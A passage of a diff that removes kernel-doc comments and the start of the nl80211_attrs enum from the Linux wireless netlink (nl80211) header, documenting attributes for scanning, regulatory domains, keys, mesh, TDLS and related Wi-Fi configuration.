- * @NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN: maximum length of information
- *	elements that can be added to a scheduled scan request
- * @NL80211_ATTR_MAX_MATCH_SETS: maximum number of sets that can be
- *	used with @NL80211_ATTR_SCHED_SCAN_MATCH, a wiphy attribute.
- *
- * @NL80211_ATTR_SCAN_FREQUENCIES: nested attribute with frequencies (in MHz)
- * @NL80211_ATTR_SCAN_SSIDS: nested attribute with SSIDs, leave out for passive
- *	scanning and include a zero-length SSID (wildcard) for wildcard scan
- * @NL80211_ATTR_BSS: scan result BSS
- *
- * @NL80211_ATTR_REG_INITIATOR: indicates who requested the regulatory domain
- * 	currently in effect. This could be any of the %NL80211_REGDOM_SET_BY_*
- * @NL80211_ATTR_REG_TYPE: indicates the type of the regulatory domain currently
- * 	set. This can be one of the nl80211_reg_type (%NL80211_REGDOM_TYPE_*)
- *
- * @NL80211_ATTR_SUPPORTED_COMMANDS: wiphy attribute that specifies
- *	an array of command numbers (i.e. a mapping index to command number)
- *	that the driver for the given wiphy supports.
- *
- * @NL80211_ATTR_FRAME: frame data (binary attribute), including frame header
- *	and body, but not FCS; used, e.g., with NL80211_CMD_AUTHENTICATE and
- *	NL80211_CMD_ASSOCIATE events
- * @NL80211_ATTR_SSID: SSID (binary attribute, 0..32 octets)
- * @NL80211_ATTR_AUTH_TYPE: AuthenticationType, see &enum nl80211_auth_type,
- *	represented as a u32
- * @NL80211_ATTR_REASON_CODE: ReasonCode for %NL80211_CMD_DEAUTHENTICATE and
- *	%NL80211_CMD_DISASSOCIATE, u16
- *
- * @NL80211_ATTR_KEY_TYPE: Key Type, see &enum nl80211_key_type, represented as
- *	a u32
- *
- * @NL80211_ATTR_FREQ_BEFORE: A channel which has suffered a regulatory change
- * 	due to considerations from a beacon hint. This attribute reflects
- * 	the state of the channel _before_ the beacon hint processing. This
- * 	attributes consists of a nested attribute containing
- * 	NL80211_FREQUENCY_ATTR_*
- * @NL80211_ATTR_FREQ_AFTER: A channel which has suffered a regulatory change
- * 	due to considerations from a beacon hint. This attribute reflects
- * 	the state of the channel _after_ the beacon hint processing. This
- * 	attributes consists of a nested attribute containing
- * 	NL80211_FREQUENCY_ATTR_*
- *
- * @NL80211_ATTR_CIPHER_SUITES: a set of u32 values indicating the supported
- *	cipher suites
- *
- * @NL80211_ATTR_FREQ_FIXED: a flag indicating the IBSS should not try to look
- *	for other networks on different channels
- *
- * @NL80211_ATTR_TIMED_OUT: a flag indicating than an operation timed out; this
- *	is used, e.g., with %NL80211_CMD_AUTHENTICATE event
- *
- * @NL80211_ATTR_USE_MFP: Whether management frame protection (IEEE 802.11w) is
- *	used for the association (&enum nl80211_mfp, represented as a u32);
- *	this attribute can be used
- *	with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests
- *
- * @NL80211_ATTR_STA_FLAGS2: Attribute containing a
- *	&struct nl80211_sta_flag_update.
- *
- * @NL80211_ATTR_CONTROL_PORT: A flag indicating whether user space controls
- *	IEEE 802.1X port, i.e., sets/clears %NL80211_STA_FLAG_AUTHORIZED, in
- *	station mode. If the flag is included in %NL80211_CMD_ASSOCIATE
- *	request, the driver will assume that the port is unauthorized until
- *	authorized by user space. Otherwise, port is marked authorized by
- *	default in station mode.
- * @NL80211_ATTR_CONTROL_PORT_ETHERTYPE: A 16-bit value indicating the
- *	ethertype that will be used for key negotiation. It can be
- *	specified with the associate and connect commands. If it is not
- *	specified, the value defaults to 0x888E (PAE, 802.1X). This
- *	attribute is also used as a flag in the wiphy information to
- *	indicate that protocols other than PAE are supported.
- * @NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT: When included along with
- *	%NL80211_ATTR_CONTROL_PORT_ETHERTYPE, indicates that the custom
- *	ethertype frames used for key negotiation must not be encrypted.
- *
- * @NL80211_ATTR_TESTDATA: Testmode data blob, passed through to the driver.
- *	We recommend using nested, driver-specific attributes within this.
- *
- * @NL80211_ATTR_DISCONNECTED_BY_AP: A flag indicating that the DISCONNECT
- *	event was due to the AP disconnecting the station, and not due to
- *	a local disconnect request.
- * @NL80211_ATTR_STATUS_CODE: StatusCode for the %NL80211_CMD_CONNECT
- *	event (u16)
- * @NL80211_ATTR_PRIVACY: Flag attribute, used with connect(), indicating
- *	that protected APs should be used. This is also used with NEW_BEACON to
- *	indicate that the BSS is to use protection.
- *
- * @NL80211_ATTR_CIPHERS_PAIRWISE: Used with CONNECT, ASSOCIATE, and NEW_BEACON
- *	to indicate which unicast key ciphers will be used with the connection
- *	(an array of u32).
- * @NL80211_ATTR_CIPHER_GROUP: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
- *	indicate which group key cipher will be used with the connection (a
- *	u32).
- * @NL80211_ATTR_WPA_VERSIONS: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
- *	indicate which WPA version(s) the AP we want to associate with is using
- *	(a u32 with flags from &enum nl80211_wpa_versions).
- * @NL80211_ATTR_AKM_SUITES: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
- *	indicate which key management algorithm(s) to use (an array of u32).
- *
- * @NL80211_ATTR_REQ_IE: (Re)association request information elements as
- *	sent out by the card, for ROAM and successful CONNECT events.
- * @NL80211_ATTR_RESP_IE: (Re)association response information elements as
- *	sent by peer, for ROAM and successful CONNECT events.
- *
- * @NL80211_ATTR_PREV_BSSID: previous BSSID, to be used by in ASSOCIATE
- *	commands to specify using a reassociate frame
- *
- * @NL80211_ATTR_KEY: key information in a nested attribute with
- *	%NL80211_KEY_* sub-attributes
- * @NL80211_ATTR_KEYS: array of keys for static WEP keys for connect()
- *	and join_ibss(), key information is in a nested attribute each
- *	with %NL80211_KEY_* sub-attributes
- *
- * @NL80211_ATTR_PID: Process ID of a network namespace.
- *
- * @NL80211_ATTR_GENERATION: Used to indicate consistent snapshots for
- *	dumps. This number increases whenever the object list being
- *	dumped changes, and as such userspace can verify that it has
- *	obtained a complete and consistent snapshot by verifying that
- *	all dump messages contain the same generation number. If it
- *	changed then the list changed and the dump should be repeated
- *	completely from scratch.
- *
- * @NL80211_ATTR_4ADDR: Use 4-address frames on a virtual interface
- *
- * @NL80211_ATTR_SURVEY_INFO: survey information about a channel, part of
- *      the survey response for %NL80211_CMD_GET_SURVEY, nested attribute
- *      containing info as possible, see &enum survey_info.
- *
- * @NL80211_ATTR_PMKID: PMK material for PMKSA caching.
- * @NL80211_ATTR_MAX_NUM_PMKIDS: maximum number of PMKIDs a firmware can
- *	cache, a wiphy attribute.
- *
- * @NL80211_ATTR_DURATION: Duration of an operation in milliseconds, u32.
- * @NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION: Device attribute that
- *	specifies the maximum duration that can be requested with the
- *	remain-on-channel operation, in milliseconds, u32.
- *
- * @NL80211_ATTR_COOKIE: Generic 64-bit cookie to identify objects.
- *
- * @NL80211_ATTR_TX_RATES: Nested set of attributes
- *	(enum nl80211_tx_rate_attributes) describing TX rates per band. The
- *	enum nl80211_band value is used as the index (nla_type() of the nested
- *	data. If a band is not included, it will be configured to allow all
- *	rates based on negotiated supported rates information. This attribute
- *	is used with %NL80211_CMD_SET_TX_BITRATE_MASK.
- *
- * @NL80211_ATTR_FRAME_MATCH: A binary attribute which typically must contain
- *	at least one byte, currently used with @NL80211_CMD_REGISTER_FRAME.
- * @NL80211_ATTR_FRAME_TYPE: A u16 indicating the frame type/subtype for the
- *	@NL80211_CMD_REGISTER_FRAME command.
- * @NL80211_ATTR_TX_FRAME_TYPES: wiphy capability attribute, which is a
- *	nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
- *	information about which frame types can be transmitted with
- *	%NL80211_CMD_FRAME.
- * @NL80211_ATTR_RX_FRAME_TYPES: wiphy capability attribute, which is a
- *	nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
- *	information about which frame types can be registered for RX.
- *
- * @NL80211_ATTR_ACK: Flag attribute indicating that the frame was
- *	acknowledged by the recipient.
- *
- * @NL80211_ATTR_PS_STATE: powersave state, using &enum nl80211_ps_state values.
- *
- * @NL80211_ATTR_CQM: connection quality monitor configuration in a
- *	nested attribute with %NL80211_ATTR_CQM_* sub-attributes.
- *
- * @NL80211_ATTR_LOCAL_STATE_CHANGE: Flag attribute to indicate that a command
- *	is requesting a local authentication/association state change without
- *	invoking actual management frame exchange. This can be used with
- *	NL80211_CMD_AUTHENTICATE, NL80211_CMD_DEAUTHENTICATE,
- *	NL80211_CMD_DISASSOCIATE.
- *
- * @NL80211_ATTR_AP_ISOLATE: (AP mode) Do not forward traffic between stations
- *	connected to this BSS.
- *
- * @NL80211_ATTR_WIPHY_TX_POWER_SETTING: Transmit power setting type. See
- *      &enum nl80211_tx_power_setting for possible values.
- * @NL80211_ATTR_WIPHY_TX_POWER_LEVEL: Transmit power level in signed mBm units.
- *      This is used in association with @NL80211_ATTR_WIPHY_TX_POWER_SETTING
- *      for non-automatic settings.
- *
- * @NL80211_ATTR_SUPPORT_IBSS_RSN: The device supports IBSS RSN, which mostly
- *	means support for per-station GTKs.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_TX: Bitmap of allowed antennas for transmitting.
- *	This can be used to mask out antennas which are not attached or should
- *	not be used for transmitting. If an antenna is not selected in this
- *	bitmap the hardware is not allowed to transmit on this antenna.
- *
- *	Each bit represents one antenna, starting with antenna 1 at the first
- *	bit. Depending on which antennas are selected in the bitmap, 802.11n
- *	drivers can derive which chainmasks to use (if all antennas belonging to
- *	a particular chain are disabled this chain should be disabled) and if
- *	a chain has diversity antennas wether diversity should be used or not.
- *	HT capabilities (STBC, TX Beamforming, Antenna selection) can be
- *	derived from the available chains after applying the antenna mask.
- *	Non-802.11n drivers can derive wether to use diversity or not.
- *	Drivers may reject configurations or RX/TX mask combinations they cannot
- *	support by returning -EINVAL.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_RX: Bitmap of allowed antennas for receiving.
- *	This can be used to mask out antennas which are not attached or should
- *	not be used for receiving. If an antenna is not selected in this bitmap
- *	the hardware should not be configured to receive on this antenna.
- *	For a more detailed description see @NL80211_ATTR_WIPHY_ANTENNA_TX.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX: Bitmap of antennas which are available
- *	for configuration as TX antennas via the above parameters.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX: Bitmap of antennas which are available
- *	for configuration as RX antennas via the above parameters.
- *
- * @NL80211_ATTR_MCAST_RATE: Multicast tx rate (in 100 kbps) for IBSS
- *
- * @NL80211_ATTR_OFFCHANNEL_TX_OK: For management frame TX, the frame may be
- *	transmitted on another channel when the channel given doesn't match
- *	the current channel. If the current channel doesn't match and this
- *	flag isn't set, the frame will be rejected. This is also used as an
- *	nl80211 capability flag.
- *
- * @NL80211_ATTR_BSS_HT_OPMODE: HT operation mode (u16)
- *
- * @NL80211_ATTR_KEY_DEFAULT_TYPES: A nested attribute containing flags
- *	attributes, specifying what a key should be set as default as.
- *	See &enum nl80211_key_default_types.
- *
- * @NL80211_ATTR_MESH_SETUP: Optional mesh setup parameters.  These cannot be
- *	changed once the mesh is active.
- * @NL80211_ATTR_MESH_CONFIG: Mesh configuration parameters, a nested attribute
- *	containing attributes from &enum nl80211_meshconf_params.
- * @NL80211_ATTR_SUPPORT_MESH_AUTH: Currently, this means the underlying driver
- *	allows auth frames in a mesh to be passed to userspace for processing
- *via the @NL80211_MESH_SETUP_USERSPACE_AUTH flag.
- * @NL80211_ATTR_STA_PLINK_STATE: The state of a mesh peer link as defined in
- *	&enum nl80211_plink_state. Used when userspace is driving the peer link
- *	management state machine.  @NL80211_MESH_SETUP_USERSPACE_AMPE or
- *	@NL80211_MESH_SETUP_USERSPACE_MPM must be enabled.
- *
- * @NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED: indicates, as part of the wiphy
- *	capabilities, the supported WoWLAN triggers
- * @NL80211_ATTR_WOWLAN_TRIGGERS: used by %NL80211_CMD_SET_WOWLAN to
- *	indicate which WoW triggers should be enabled. This is also
- *	used by %NL80211_CMD_GET_WOWLAN to get the currently enabled WoWLAN
- *	triggers.
- *
- * @NL80211_ATTR_SCHED_SCAN_INTERVAL: Interval between scheduled scan
- *	cycles, in msecs.
- *
- * @NL80211_ATTR_SCHED_SCAN_MATCH: Nested attribute with one or more
- *	sets of attributes to match during scheduled scans.  Only BSSs
- *	that match any of the sets will be reported.  These are
- *	pass-thru filter rules.
- *	For a match to succeed, the BSS must match all attributes of a
- *	set.  Since not every hardware supports matching all types of
- *	attributes, there is no guarantee that the reported BSSs are
- *	fully complying with the match sets and userspace needs to be
- *	able to ignore them by itself.
- *	Thus, the implementation is somewhat hardware-dependent, but
- *	this is only an optimization and the userspace application
- *	needs to handle all the non-filtered results anyway.
- *	If the match attributes don't make sense when combined with
- *	the values passed in @NL80211_ATTR_SCAN_SSIDS (eg. if an SSID
- *	is included in the probe request, but the match attributes
- *	will never let it go through), -EINVAL may be returned.
- *	If ommited, no filtering is done.
- *
- * @NL80211_ATTR_INTERFACE_COMBINATIONS: Nested attribute listing the supported
- *	interface combinations. In each nested item, it contains attributes
- *	defined in &enum nl80211_if_combination_attrs.
- * @NL80211_ATTR_SOFTWARE_IFTYPES: Nested attribute (just like
- *	%NL80211_ATTR_SUPPORTED_IFTYPES) containing the interface types that
- *	are managed in software: interfaces of these types aren't subject to
- *	any restrictions in their number or combinations.
- *
- * @NL80211_ATTR_REKEY_DATA: nested attribute containing the information
- *	necessary for GTK rekeying in the device, see &enum nl80211_rekey_data.
- *
- * @NL80211_ATTR_SCAN_SUPP_RATES: rates per to be advertised as supported in
- *scan, nested array attribute containing an entry for each band, with the entry
- *	being a list of supported rates as defined by IEEE 802.11 7.3.2.2 but
- *	without the length restriction (at most %NL80211_MAX_SUPP_RATES).
- *
- * @NL80211_ATTR_HIDDEN_SSID: indicates whether SSID is to be hidden from Beacon
- *	and Probe Response (when response to wildcard Probe Request); see
- *	&enum nl80211_hidden_ssid, represented as a u32
- *
- * @NL80211_ATTR_IE_PROBE_RESP: Information element(s) for Probe Response frame.
- *	This is used with %NL80211_CMD_NEW_BEACON and %NL80211_CMD_SET_BEACON to
- *	provide extra IEs (e.g., WPS/P2P IE) into Probe Response frames when the
- *	driver (or firmware) replies to Probe Request frames.
- * @NL80211_ATTR_IE_ASSOC_RESP: Information element(s) for (Re)Association
- *	Response frames. This is used with %NL80211_CMD_NEW_BEACON and
- *	%NL80211_CMD_SET_BEACON to provide extra IEs (e.g., WPS/P2P IE) into
- *	(Re)Association Response frames when the driver (or firmware) replies to
- *	(Re)Association Request frames.
- *
- * @NL80211_ATTR_STA_WME: Nested attribute containing the wme configuration
- *	of the station, see &enum nl80211_sta_wme_attr.
- * @NL80211_ATTR_SUPPORT_AP_UAPSD: the device supports uapsd when working
- *	as AP.
- *
- * @NL80211_ATTR_ROAM_SUPPORT: Indicates whether the firmware is capable of
- *	roaming to another AP in the same ESS if the signal lever is low.
- *
- * @NL80211_ATTR_PMKSA_CANDIDATE: Nested attribute containing the PMKSA caching
- *	candidate information, see &enum nl80211_pmksa_candidate_attr.
- *
- * @NL80211_ATTR_TX_NO_CCK_RATE: Indicates whether to use CCK rate or not
- *	for management frames transmission. In order to avoid p2p probe/action
- *	frames are being transmitted at CCK rate in 2GHz band, the user space
- *	applications use this attribute.
- *	This attribute is used with %NL80211_CMD_TRIGGER_SCAN and
- *	%NL80211_CMD_FRAME commands.
- *
- * @NL80211_ATTR_TDLS_ACTION: Low level TDLS action code (e.g. link setup
- *	request, link setup confirm, link teardown, etc.). Values are
- *	described in the TDLS (802.11z) specification.
- * @NL80211_ATTR_TDLS_DIALOG_TOKEN: Non-zero token for uniquely identifying a
- *	TDLS conversation between two devices.
- * @NL80211_ATTR_TDLS_OPERATION: High level TDLS operation; see
- *	&enum nl80211_tdls_operation, represented as a u8.
- * @NL80211_ATTR_TDLS_SUPPORT: A flag indicating the device can operate
- *	as a TDLS peer sta.
- * @NL80211_ATTR_TDLS_EXTERNAL_SETUP: The TDLS discovery/setup and teardown
- *	procedures should be performed by sending TDLS packets via
- *	%NL80211_CMD_TDLS_MGMT. Otherwise %NL80211_CMD_TDLS_OPER should be
- *	used for asking the driver to perform a TDLS operation.
- *
- * @NL80211_ATTR_DEVICE_AP_SME: This u32 attribute may be listed for devices
- *	that have AP support to indicate that they have the AP SME integrated
- *	with support for the features listed in this attribute, see
- *	&enum nl80211_ap_sme_features.
- *
- * @NL80211_ATTR_DONT_WAIT_FOR_ACK: Used with %NL80211_CMD_FRAME, this tells
- *	the driver to not wait for an acknowledgement. Note that due to this,
- *	it will also not give a status callback nor return a cookie. This is
- *	mostly useful for probe responses to save airtime.
- *
- * @NL80211_ATTR_FEATURE_FLAGS: This u32 attribute contains flags from
- *	&enum nl80211_feature_flags and is advertised in wiphy information.
- * @NL80211_ATTR_PROBE_RESP_OFFLOAD: Indicates that the HW responds to probe
- *	requests while operating in AP-mode.
- *	This attribute holds a bitmap of the supported protocols for
- *	offloading (see &enum nl80211_probe_resp_offload_support_attr).
- *
- * @NL80211_ATTR_PROBE_RESP: Probe Response template data. Contains the entire
- *	probe-response frame. The DA field in the 802.11 header is zero-ed out,
- *	to be filled by the FW.
- * @NL80211_ATTR_DISABLE_HT:  Force HT capable interfaces to disable
- *      this feature.  Currently, only supported in mac80211 drivers.
- * @NL80211_ATTR_HT_CAPABILITY_MASK: Specify which bits of the
- *      ATTR_HT_CAPABILITY to which attention should be paid.
- *      Currently, only mac80211 NICs support this feature.
- *      The values that may be configured are:
- *       MCS rates, MAX-AMSDU, HT-20-40 and HT_CAP_SGI_40
- *       AMPDU density and AMPDU factor.
- *      All values are treated as suggestions and may be ignored
- *      by the driver as required.  The actual values may be seen in
- *      the station debugfs ht_caps file.
- *
- * @NL80211_ATTR_DFS_REGION: region for regulatory rules which this country
- *    abides to when initiating radiation on DFS channels. A country maps
- *    to one DFS region.
- *
- * @NL80211_ATTR_NOACK_MAP: This u16 bitmap contains the No Ack Policy of
- *      up to 16 TIDs.
- *
- * @NL80211_ATTR_INACTIVITY_TIMEOUT: timeout value in seconds, this can be
- *	used by the drivers which has MLME in firmware and does not have support
- *	to report per station tx/rx activity to free up the staion entry from
- *	the list. This needs to be used when the driver advertises the
- *	capability to timeout the stations.
- *
- * @NL80211_ATTR_RX_SIGNAL_DBM: signal strength in dBm (as a 32-bit int);
- *	this attribute is (depending on the driver capabilities) added to
- *	received frames indicated with %NL80211_CMD_FRAME.
- *
- * @NL80211_ATTR_BG_SCAN_PERIOD: Background scan period in seconds
- *      or 0 to disable background scan.
- *
- * @NL80211_ATTR_USER_REG_HINT_TYPE: type of regulatory hint passed from
- *	userspace. If unset it is assumed the hint comes directly from
- *	a user. If set code could specify exactly what type of source
- *	was used to provide the hint. For the different types of
- *	allowed user regulatory hints see nl80211_user_reg_hint_type.
- *
- * @NL80211_ATTR_CONN_FAILED_REASON: The reason for which AP has rejected
- *	the connection request from a station. nl80211_connect_failed_reason
- *	enum has different reasons of connection failure.
- *
- * @NL80211_ATTR_SAE_DATA: SAE elements in Authentication frames. This starts
- *	with the Authentication transaction sequence number field.
- *
- * @NL80211_ATTR_VHT_CAPABILITY: VHT Capability information element (from
- *	association request when used with NL80211_CMD_NEW_STATION)
- *
- * @NL80211_ATTR_SCAN_FLAGS: scan request control flags (u32)
- *
- * @NL80211_ATTR_P2P_CTWINDOW: P2P GO Client Traffic Window (u8), used with
- *	the START_AP and SET_BSS commands
- * @NL80211_ATTR_P2P_OPPPS: P2P GO opportunistic PS (u8), used with the
- *	START_AP and SET_BSS commands. This can have the values 0 or 1;
- *	if not given in START_AP 0 is assumed, if not given in SET_BSS
- *	no change is made.
- *
- * @NL80211_ATTR_LOCAL_MESH_POWER_MODE: local mesh STA link-specific power mode
- *	defined in &enum nl80211_mesh_power_mode.
- *
- * @NL80211_ATTR_ACL_POLICY: ACL policy, see &enum nl80211_acl_policy,
- *	carried in a u32 attribute
- *
- * @NL80211_ATTR_MAC_ADDRS: Array of nested MAC addresses, used for
- *	MAC ACL.
- *
- * @NL80211_ATTR_MAC_ACL_MAX: u32 attribute to advertise the maximum
- *	number of MAC addresses that a device can support for MAC
- *	ACL.
- *
- * @NL80211_ATTR_RADAR_EVENT: Type of radar event for notification to userspace,
- *	contains a value of enum nl80211_radar_event (u32).
- *
- * @NL80211_ATTR_EXT_CAPA: 802.11 extended capabilities that the kernel driver
- *	has and handles. The format is the same as the IE contents. See
- *	802.11-2012 8.4.2.29 for more information.
- * @NL80211_ATTR_EXT_CAPA_MASK: Extended capabilities that the kernel driver
- *	has set in the %NL80211_ATTR_EXT_CAPA value, for multibit fields.
- *
- * @NL80211_ATTR_STA_CAPABILITY: Station capabilities (u16) are advertised to
- *	the driver, e.g., to enable TDLS power save (PU-APSD).
- *
- * @NL80211_ATTR_STA_EXT_CAPABILITY: Station extended capabilities are
- *	advertised to the driver, e.g., to enable TDLS off channel operations
- *	and PU-APSD.
- *
- * @NL80211_ATTR_PROTOCOL_FEATURES: global nl80211 feature flags, see
- *	&enum nl80211_protocol_features, the attribute is a u32.
- *
- * @NL80211_ATTR_SPLIT_WIPHY_DUMP: flag attribute, userspace supports
- *	receiving the data for a single wiphy split across multiple
- *	messages, given with wiphy dump message
- *
- * @NL80211_ATTR_MDID: Mobility Domain Identifier
- *
- * @NL80211_ATTR_IE_RIC: Resource Information Container Information
- *	Element
- *
- * @NL80211_ATTR_CRIT_PROT_ID: critical protocol identifier requiring increased
- *	reliability, see &enum nl80211_crit_proto_id (u16).
- * @NL80211_ATTR_MAX_CRIT_PROT_DURATION: duration in milliseconds in which
- *      the connection should have increased reliability (u16).
- *
- * @NL80211_ATTR_PEER_AID: Association ID for the peer TDLS station (u16).
- *	This is similar to @NL80211_ATTR_STA_AID but with a difference of being
- *	allowed to be used with the first @NL80211_CMD_SET_STATION command to
- *	update a TDLS peer STA entry.
- *
- * @NL80211_ATTR_COALESCE_RULE: Coalesce rule information.
- *
- * @NL80211_ATTR_CH_SWITCH_COUNT: u32 attribute specifying the number of TBTT's
- *	until the channel switch event.
- * @NL80211_ATTR_CH_SWITCH_BLOCK_TX: flag attribute specifying that transmission
- *	must be blocked on the current channel (before the channel switch
- *	operation).
- * @NL80211_ATTR_CSA_IES: Nested set of attributes containing the IE information
- *	for the time while performing a channel switch.
- * @NL80211_ATTR_CSA_C_OFF_BEACON: An array of offsets (u16) to the channel
- *	switch counters in the beacons tail (%NL80211_ATTR_BEACON_TAIL).
- * @NL80211_ATTR_CSA_C_OFF_PRESP: An array of offsets (u16) to the channel
- *	switch counters in the probe response (%NL80211_ATTR_PROBE_RESP).
- *
- * @NL80211_ATTR_RXMGMT_FLAGS: flags for nl80211_send_mgmt(), u32.
- *	As specified in the &enum nl80211_rxmgmt_flags.
- *
- * @NL80211_ATTR_STA_SUPPORTED_CHANNELS: array of supported channels.
- *
- * @NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES: array of supported
- *      supported operating classes.
- *
- * @NL80211_ATTR_HANDLE_DFS: A flag indicating whether user space
- *	controls DFS operation in IBSS mode. If the flag is included in
- *	%NL80211_CMD_JOIN_IBSS request, the driver will allow use of DFS
- *	channels and reports radar events to userspace. Userspace is required
- *	to react to radar events, e.g. initiate a channel switch or leave the
- *	IBSS network.
- *
- * @NL80211_ATTR_SUPPORT_5_MHZ: A flag indicating that the device supports
- *	5 MHz channel bandwidth.
- * @NL80211_ATTR_SUPPORT_10_MHZ: A flag indicating that the device supports
- *	10 MHz channel bandwidth.
- *
- * @NL80211_ATTR_OPMODE_NOTIF: Operating mode field from Operating Mode
- *	Notification Element based on association request when used with
- *	%NL80211_CMD_NEW_STATION; u8 attribute.
- *
- * @NL80211_ATTR_VENDOR_ID: The vendor ID, either a 24-bit OUI or, if
- *	%NL80211_VENDOR_ID_IS_LINUX is set, a special Linux ID (not used yet)
- * @NL80211_ATTR_VENDOR_SUBCMD: vendor sub-command
- * @NL80211_ATTR_VENDOR_DATA: data for the vendor command, if any; this
- *	attribute is also used for vendor command feature advertisement
- * @NL80211_ATTR_VENDOR_EVENTS: used for event list advertising in the wiphy
- *	info, containing a nested array of possible events
- *
- * @NL80211_ATTR_QOS_MAP: IP DSCP mapping for Interworking QoS mapping. This
- *	data is in the format defined for the payload of the QoS Map Set element
- *	in IEEE Std 802.11-2012, 8.4.2.97.
- *
- * @NL80211_ATTR_MAC_HINT: MAC address recommendation as initial BSS
- * @NL80211_ATTR_WIPHY_FREQ_HINT: frequency of the recommended initial BSS
- *
- * @NL80211_ATTR_MAX_AP_ASSOC_STA: Device attribute that indicates how many
- *	associated stations are supported in AP mode (including P2P GO); u32.
- *	Since drivers may not have a fixed limit on the maximum number (e.g.,
- *	other concurrent operations may affect this), drivers are allowed to
- *	advertise values that cannot always be met. In such cases, an attempt
- *	to add a new station entry with @NL80211_CMD_NEW_STATION may fail.
- *
- * @NL80211_ATTR_CSA_C_OFFSETS_TX: An array of csa counter offsets (u16) which
- *	should be updated when the frame is transmitted.
- * @NL80211_ATTR_MAX_CSA_COUNTERS: U8 attribute used to advertise the maximum
- *	supported number of csa counters.
- *
- * @NL80211_ATTR_TDLS_PEER_CAPABILITY: flags for TDLS peer capabilities, u32.
- *	As specified in the &enum nl80211_tdls_peer_capability.
- *
- * @NL80211_ATTR_IFACE_SOCKET_OWNER: flag attribute, if set during interface
- *	creation then the new interface will be owned by the netlink socket
- *	that created it and will be destroyed when the socket is closed.
- *	If set during scheduled scan start then the new scan req will be
- *	owned by the netlink socket that created it and the scheduled scan will
- *	be stopped when the socket is closed.
- *
- * @NL80211_ATTR_TDLS_INITIATOR: flag attribute indicating the current end is
- *	the TDLS link initiator.
- *
- * @NL80211_ATTR_USE_RRM: flag for indicating whether the current connection
- *	shall support Radio Resource Measurements (11k). This attribute can be
- *	used with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests.
- *	User space applications are expected to use this flag only if the
- *	underlying device supports these minimal RRM features:
- *		%NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES,
- *		%NL80211_FEATURE_QUIET,
- *	If this flag is used, driver must add the Power Capabilities IE to the
- *	association request. In addition, it must also set the RRM capability
- *	flag in the association request's Capability Info field.
- *
- * @NL80211_ATTR_WIPHY_DYN_ACK: flag attribute used to enable ACK timeout
- *	estimation algorithm (dynack). In order to activate dynack
- *	%NL80211_FEATURE_ACKTO_ESTIMATION feature flag must be set by lower
- *	drivers to indicate dynack capability. Dynack is automatically disabled
- *	setting valid value for coverage class.
- *
- * @NL80211_ATTR_TSID: a TSID value (u8 attribute)
- * @NL80211_ATTR_USER_PRIO: user priority value (u8 attribute)
- * @NL80211_ATTR_ADMITTED_TIME: admitted time in units of 32 microseconds
- *	(per second) (u16 attribute)
- *
- * @NL80211_ATTR_SMPS_MODE: SMPS mode to use (ap mode). see
- *	&enum nl80211_smps_mode.
- *
- * @NL80211_ATTR_PBSS: flag attribute. If set it means operate
- *	in a PBSS. Specified in %NL80211_CMD_CONNECT to request
- *	connecting to a PCP, and in %NL80211_CMD_START_AP to start
- *	a PCP instead of AP. Relevant for DMG networks only.
- *
- * @NL80211_ATTR_MAX: highest attribute number currently defined
- * @__NL80211_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_attrs {
-  /* don't change the order or add anything between, this is ABI! */
-  NL80211_ATTR_UNSPEC,
-
-  NL80211_ATTR_WIPHY,
-  NL80211_ATTR_WIPHY_NAME,
-
-  NL80211_ATTR_IFINDEX,
-  NL80211_ATTR_IFNAME,
-  NL80211_ATTR_IFTYPE,
-
-  NL80211_ATTR_MAC,
-
-  NL80211_ATTR_KEY_DATA,
-  NL80211_ATTR_KEY_IDX,
-  NL80211_ATTR_KEY_CIPHER,
-  NL80211_ATTR_KEY_SEQ,
-  NL80211_ATTR_KEY_DEFAULT,
-
-  NL80211_ATTR_BEACON_INTERVAL,
-  NL80211_ATTR_DTIM_PERIOD,
-  NL80211_ATTR_BEACON_HEAD,
-  NL80211_ATTR_BEACON_TAIL,
-
-  NL80211_ATTR_STA_AID,
-  NL80211_ATTR_STA_FLAGS,
-  NL80211_ATTR_STA_LISTEN_INTERVAL,
-  NL80211_ATTR_STA_SUPPORTED_RATES,
-  NL80211_ATTR_STA_VLAN,
-  NL80211_ATTR_STA_INFO,
-
-  NL80211_ATTR_WIPHY_BANDS,
-
-  NL80211_ATTR_MNTR_FLAGS,
-
-  NL80211_ATTR_MESH_ID,
-  NL80211_ATTR_STA_PLINK_ACTION,
-  NL80211_ATTR_MPATH_NEXT_HOP,
-  NL80211_ATTR_MPATH_INFO,
-
-  NL80211_ATTR_BSS_CTS_PROT,
-  NL80211_ATTR_BSS_SHORT_PREAMBLE,
-  NL80211_ATTR_BSS_SHORT_SLOT_TIME,
-
-  NL80211_ATTR_HT_CAPABILITY,
-
-  NL80211_ATTR_SUPPORTED_IFTYPES,
-
-  NL80211_ATTR_REG_ALPHA2,
-  NL80211_ATTR_REG_RULES,
-
-  NL80211_ATTR_MESH_CONFIG,
-
-  NL80211_ATTR_BSS_BASIC_RATES,
-
-  NL80211_ATTR_WIPHY_TXQ_PARAMS,
-  NL80211_ATTR_WIPHY_FREQ,
-  NL80211_ATTR_WIPHY_CHANNEL_TYPE,
-
-  NL80211_ATTR_KEY_DEFAULT_MGMT,
-
-  NL80211_ATTR_MGMT_SUBTYPE,
-  NL80211_ATTR_IE,
-
-  NL80211_ATTR_MAX_NUM_SCAN_SSIDS,
-
-  NL80211_ATTR_SCAN_FREQUENCIES,
-  NL80211_ATTR_SCAN_SSIDS,
-  NL80211_ATTR_GENERATION, /* replaces old SCAN_GENERATION */
-  NL80211_ATTR_BSS,
-
-  NL80211_ATTR_REG_INITIATOR,
